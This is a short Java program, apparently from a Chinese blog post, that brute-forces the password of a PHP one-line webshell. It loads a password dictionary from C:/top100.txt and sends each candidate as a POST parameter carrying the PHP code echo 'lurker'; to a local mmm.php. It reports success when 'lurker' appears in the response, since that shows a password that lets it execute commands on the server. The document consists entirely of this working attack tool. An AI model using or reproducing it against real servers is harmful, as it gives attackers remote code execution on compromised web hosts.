代码如下:
import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;import java.io.PrintWriter;import java.net.URL;import java.net.URLConnection;import java.util.HashSet;public class Crack extends Thread{private String dic;public Crack(String dic) {this.dic=dic;}public void run(){try {URL url=new URL("http://localhost/mmm.php");URLConnection conn=url.openConnection();conn.setDoInput(true);conn.setDoOutput(true);//写入POST请求内容PrintWriter out=new PrintWriter(conn.getOutputStream());out.write(dic);out.flush();InputStreamReader isr=new InputStreamReader(conn.getInputStream());BufferedReader reader=new BufferedReader(isr);String line;//结果while((line=reader.readLine())!=null){if(line.indexOf("lurker")>=0){System.out.println("爆破成功");}}} catch (Exception e){e.printStackTrace();}}public static void main(String[] args) throws Exception {HashSet filter=new HashSet<>();StringBuffer dic=new StringBuffer();//导入密码字典File file=new File("C:/top100.txt");FileInputStream fis=new FileInputStream(file);InputStreamReader isr=new InputStreamReader(fis);BufferedReader read=new BufferedReader(isr);String line;//利用HashSet去重复while((line=read.readLine())!=null){filter.add(line);}//拼凑请求字符串for(String s:filter){dic.append("&"+s+"=echo 'lurker';");}//形成实例开始线程Crack crack=new Crack(dic.toString());crack.start();}}